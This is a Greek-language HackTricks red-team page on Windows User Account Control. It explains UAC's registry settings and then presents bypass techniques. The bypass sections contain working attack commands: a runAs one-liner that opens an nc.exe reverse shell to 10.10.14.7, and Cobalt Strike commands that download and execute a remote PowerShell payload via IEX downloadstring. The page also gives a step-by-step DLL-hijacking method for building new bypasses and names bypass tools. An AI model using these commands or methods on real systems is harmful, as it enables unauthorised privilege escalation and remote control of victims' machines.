UAC - User Account Control

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

UAC

Έλεγχος Λογαριασμού Χρήστη (UAC) είναι μια λειτουργία που επιτρέπει μια προτροπή συγκατάθεσης για υψηλές δραστηριότητες. Οι εφαρμογές έχουν διαφορετικά επίπεδα ακεραιότητας, και ένα πρόγραμμα με ένα υψηλό επίπεδο μπορεί να εκτελέσει εργασίες που θα μπορούσαν δυνητικά να θέσουν σε κίνδυνο το σύστημα. Όταν το UAC είναι ενεργοποιημένο, οι εφαρμογές και οι εργασίες εκτελούνται πάντα υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή εκτός αν ένας διαχειριστής εξουσιοδοτεί ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση σε επίπεδο διαχειριστή στο σύστημα για να εκτελεστούν. Είναι μια λειτουργία άνεσης που προστατεύει τους διαχειριστές από μη επιθυμητες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.

Για περισσότερες πληροφορίες σχετικά με τα επίπεδα ακεραιότητας:

pageIntegrity Levels

Όταν το UAC είναι σε ισχύ, ένας χρήστης διαχειριστής λαμβάνει 2 διακριτικά: ένα κλειδί χρήστη προτύπου, για να εκτελέσει κανονικές ενέργειες σε κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή.

Αυτή η σελίδα συζητά πώς λειτουργεί το UAC με μεγάλη βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να διαμορφώσουν πώς λειτουργεί το UAC συγκεκριμένα για τον οργανισμό τους στο τοπικό επίπεδο (χρησιμοποιώντας το secpol.msc), ή να το διαμορφώσουν και να το εφαρμόσουν μέσω των αντικειμένων πολιτικής ομάδων (GPO) σε ένα περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς εδώ. Υπάρχουν 10 ρυθμίσεις πολιτικής ομάδας που μπορούν να οριστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:

Ρύθμιση Πολιτικής ΟμάδαςΚλειδί ΜητρώουΠροεπιλεγμένη Ρύθμιση

FilterAdministratorToken

Απενεργοποιημένο

EnableUIADesktopToggle

Απενεργοποιημένο

ConsentPromptBehaviorAdmin

Προτροπή για συγκατάθεση για μη-Windows δυαδικά

ConsentPromptBehaviorUser

Προτροπή για διαπιστευτήρια στην ασφαλή επιφάνεια εργασίας

EnableInstallerDetection

Ενεργοποιημένο (προεπιλογή για οικιακή χρήση) Απενεργοποιημένο (προεπιλογή για επιχειρησιακή χρήση)

ValidateAdminCodeSignatures

Απενεργοποιημένο

EnableSecureUIAPaths

Ενεργοποιημένο

EnableLUA

Ενεργοποιημένο

[Έλεγχος Λογαριασμού Χρήστη: Μετάβαση στην ασφαλή επιφά

### Θεωρία Διαβίβασης UAC

Κάποια προγράμματα αναβαθμίζονται αυτόματα εάν ο χρήστης ανήκει στη ομάδα διαχειριστών. Αυτά τα δυαδικά αρχεία έχουν μέσα στα Αρχεία Μεταδεδομένων (Manifests) την επιλογή autoElevate με τιμή True. Το δυαδικό αρχείο πρέπει επίσης να είναι υπογεγραμμένο από τη Microsoft.

Έπειτα, για να παρακάμψετε το UAC (αναβαθμίστε από το μέτριο επίπεδο ακεραιότητας σε υψηλό) κάποιοι επιτιθέμενοι χρησιμοποιούν αυτού του είδους τα δυαδικά αρχεία για να εκτελέσουν αυθαίρετο κώδικα επειδή θα εκτελεστεί από ένα διεργασία με υψηλό επίπεδο ακεραιότητας.

Μπορείτε να ελέγξετε το Αρχείο Μεταδεδομένων (Manifest) ενός δυαδικού χρησιμοποιώντας το εργαλείο sigcheck.exe από τα Sysinternals. Και μπορείτε να δείτε το επίπεδο ακεραιότητας των διεργασιών χρησιμοποιώντας το Process Explorer ή το Process Monitor (των Sysinternals).

Έλεγχος UAC

Για να επιβεβαιώσετε εάν το UAC είναι ενεργοποιημένο, κάντε:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Αν είναι 1 τότε το UAC είναι ενεργοποιημένο, αν είναι 0 ή δεν υπάρχει, τότε το UAC είναι ανενεργό.

Στη συνέχεια, ελέγξτε ποιο επίπεδο είναι ρυθμισμένο:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Εάν 0 τότε, το UAC δεν θα ζητήσει επιβεβαίωση (όπως απενεργοποιημένο)

  • Εάν 1 ο διαχειριστής θα ζητηθεί να εισάγει όνομα χρήστη και κωδικό πρόσβασης για να εκτελέσει το δυαδικό με υψηλά δικαιώματα (στην Ασφαλή Επιφάνεια)

  • Εάν 2 (Πάντα να με ειδοποιεί) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά δικαιώματα (στην Ασφαλή Επιφάνεια)

  • Εάν 3 όπως 1 αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια

  • Εάν 4 όπως 2 αλλά δεν είναι απαραίτητο στην Ασφαλή Επιφάνεια

  • Εάν 5 (προεπιλογή) θα ζητήσει από τον διαχειριστή επιβεβαίωση για την εκτέλεση μη Windows δυαδικών με υψηλά δικαιώματα

Στη συνέχεια, πρέπει να ελέγξετε την τιμή του LocalAccountTokenFilterPolicy Εάν η τιμή είναι 0, τότε, μόνο ο χρήστης με RID 500 (ενσωματωμένος Διαχειριστής) μπορεί να εκτελέσει εργασίες διαχειριστή χωρίς UAC, και εάν είναι 1, όλοι οι λογαριασμοί μέσα στην ομάδα "Διαχειριστές" μπορούν να τις εκτελέσουν.

Και, τέλος ελέγξτε την τιμή του κλειδιού FilterAdministratorToken Εάν 0(προεπιλογή), ο ενσωματωμένος Διαχειριστής λογαριασμός μπορεί να εκτελέσει εργασίες απομακρυσμένης διαχείρισης και εάν 1 ο ενσωματωμένος λογαριασμός Διαχειριστής δεν μπορεί να εκτελέσει εργασίες απομακρυσμένης διαχείρισης, εκτός αν το LocalAccountTokenFilterPolicy έχει οριστεί σε 1.

Σύνοψη

  • Εάν EnableLUA=0 ή δεν υπάρχει, κανένα UAC για κανέναν

  • Εάν EnableLua=1 και LocalAccountTokenFilterPolicy=1, Κανένα UAC για κανέναν

  • Εάν EnableLua=1 και LocalAccountTokenFilterPolicy=0 και FilterAdministratorToken=0, Κανένα UAC για RID 500 (Ενσωματωμένος Διαχειριστής)

  • Εάν EnableLua=1 και LocalAccountTokenFilterPolicy=0 και FilterAdministratorToken=1, UAC για όλους

Όλες αυτές οι πληροφορίες μπορούν να συγκεντρωθούν χρησιμοποιώντας το module metasploit: post/windows/gather/win_privs

Μπορείτε επίσης να ελέγξετε τις ομάδες του χρήστη σας και να λάβετε το επίπεδο ακεραιότητας:

net user %username%
whoami /groups | findstr Level

Παράκαμψη UAC

Σημείωση ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο UAC.

Η παράκαμψη UAC είναι απαραίτητη στην ακόλουθη κατάσταση: το UAC είναι ενεργοποιημένο, η διαδικασία σας τρέχει σε πλαίσιο με μεσαία εμπιστοσύνη και ο χρήστης σας ανήκει στην ομάδα διαχειριστών.

Είναι σημαντικό να αναφερθεί ότι είναι πολύ πιο δύσκολο να παρακάμψετε το UAC αν βρίσκεται στο υψηλότερο επίπεδο ασφαλείας (Πάντα) από ό,τι αν βρίσκεται σε οποιοδήποτε άλλο επίπεδο (Προεπιλογή).

Απενεργοποιημένο UAC

Αν το UAC είναι ήδη απενεργοποιημένο (ConsentPromptBehaviorAdmin είναι 0) μπορείτε να εκτελέσετε ένα αντίστροφο κέλυφος με δικαιώματα διαχειριστή (υψηλό επίπεδο εμπιστοσύνης) χρησιμοποιώντας κάτι σαν:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Παράκαμψη UAC με αντιγραφή δικαιώματος

Πολύ Βασική "παράκαμψη" UAC (πλήρης πρόσβαση στο σύστημα αρχείων)

Αν έχετε ένα κέλυφος με έναν χρήστη που βρίσκεται μέσα στην ομάδα Διαχειριστών, μπορείτε να τοποθετήσετε το C$ κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε ένα νέο δίσκο και θα έχετε πρόσβαση σε όλα μέσα στο σύστημα αρχείων (ακόμα και στο φάκελο του Διαχειριστή).

Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πλέον

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Παράκαμψη UAC με το Cobalt Strike

Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο εάν το UAC δεν έχει οριστεί στο μέγιστο επίπεδο ασφαλείας του.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Το Empire και το Metasploit έχουν επίσης αρκετά modules για το παράκαμψη του UAC.

KRBUACBypass

Τεκμηρίωση και εργαλείο στο https://github.com/wh0amitz/KRBUACBypass

Εκμετάλλευση παράκαμψης UAC

UACME το οποίο είναι μια συλλογή από διάφορες εκμεταλλεύσεις παράκαμψης UAC. Σημειώστε ότι θα χρειαστεί να μεταγλωτίσετε το UACME χρησιμοποιώντας το visual studio ή το msbuild. Η μεταγλώττιση θα δημιουργήσει αρκετά εκτελέσιμα (όπως Source\Akagi\outout\x64\Debug\Akagi.exe), θα πρέπει να ξέρετε ποιο χρειάζεστε. Θα πρέπει να είστε προσεκτικοί επειδή μερικές παρακάμψεις θα ενεργοποιήσουν άλλα προγράμματα που θα ειδοποιήσουν τον χρήστη ότι κάτι συμβαίνει.

Το UACME έχει τη έκδοση build από την οποία ξεκίνησε να λειτουργεί κάθε τεχνική. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Περισσότερες παρακάμψεις UAC

Όλες οι τεχνικές που χρησιμοποιούνται εδώ για την παράκαμψη του UAC απαιτούν ένα πλήρες διαδραστικό κέλυφος με το θύμα (ένα κοινό κέλυφος nc.exe δεν είναι αρκετό).

Μπορείτε να το πετύχετε χρησιμοποιώντας μια συνεδρία meterpreter. Μεταναστεύστε σε ένα διεργασία που έχει την τιμή Session ίση με 1:

(explorer.exe πρέπει να λειτουργεί)

Παράκαμψη UAC με GUI

Αν έχετε πρόσβαση σε ένα GUI μπορείτε απλά να αποδεχτείτε την πρόταση UAC όταν τη λάβετε, δεν χρειάζεται πραγματικά μια παράκαμψη. Έτσι, η πρόσβαση σε ένα GUI θα σας επιτρέψει να παρακάμψετε το UAC.

Επιπλέον, αν αποκτήσετε μια συνεδρία GUI που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν κάποια εργαλεία που θα εκτελούνται ως διαχειριστής από όπου θα μπορούσατε να εκτελέσετε ένα cmd για παράδειγμα ως διαχειριστής απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως στο https://github.com/oski02/UAC-GUI-Bypass-appverif. Αυτό μπορεί να είναι λίγο πιο αόρατο.

Θορυβώδης παράκαμψη UAC με βία

Αν δεν σας ενδιαφέρει να είστε θορυβώδεις μπορείτε πάντα να εκτελέσετε κάτι σαν https://github.com/Chainski/ForceAdmin που ζητά να αναβαθμίσει δικαιώματα μέχρι ο χρήστης να το αποδεχτεί.

Η δική σας παράκαμψη - Βασική μεθοδολογία παράκαμψης UAC

Αν ρίξετε μια ματιά στο UACME θα παρατηρήσετε ότι η πλειοψηφία των παρακαμψεων UAC καταχρώνται μια ευπάθεια Dll Hijacking (κυρίως γράφοντας το κακόβουλο dll στο C:\Windows\System32). Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking.

  1. Βρείτε ένα δυαδικό που θα αυτοαναβαθμίζεται (ελέγξτε όταν εκτελείται ότι τρέχει σε υψηλό επίπεδο ακεραιότητας).

  2. Με το procmon βρείτε τα γεγονότα "NAME NOT FOUND" που μπορεί να είναι ευάλωτα στο DLL Hijacking.

  3. Πιθανώς θα χρειαστεί να γράψετε το DLL μέσα σε κάποια προστατευμένα μονοπάτια (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:

  4. wusa.exe: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός αρχείου CAB μέσα σε προστατευμένα μονοπάτια (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας).

  5. IFileOperation: Windows 10.

  6. Ετοιμάστε ένα σενάριο για να αντιγράψετε το DLL σας μέσα στο προστατευμένο μονοπάτι και να εκτελέσετε το ευάλωτο και αυτοαναβαθμισμένο δυαδικό.

Άλλη τεχνική παράκαμψης UAC

Αποτελείται από το να παρακολουθείτε αν ένα αυτοαναβαθμιζόμενο δυαδικό προσπαθεί να διαβάσει από το μητρώο το όνομα/μονοπάτι ενός δυαδικού ή εντολής που θα εκτελεστεί (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο HKCU).

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Last updated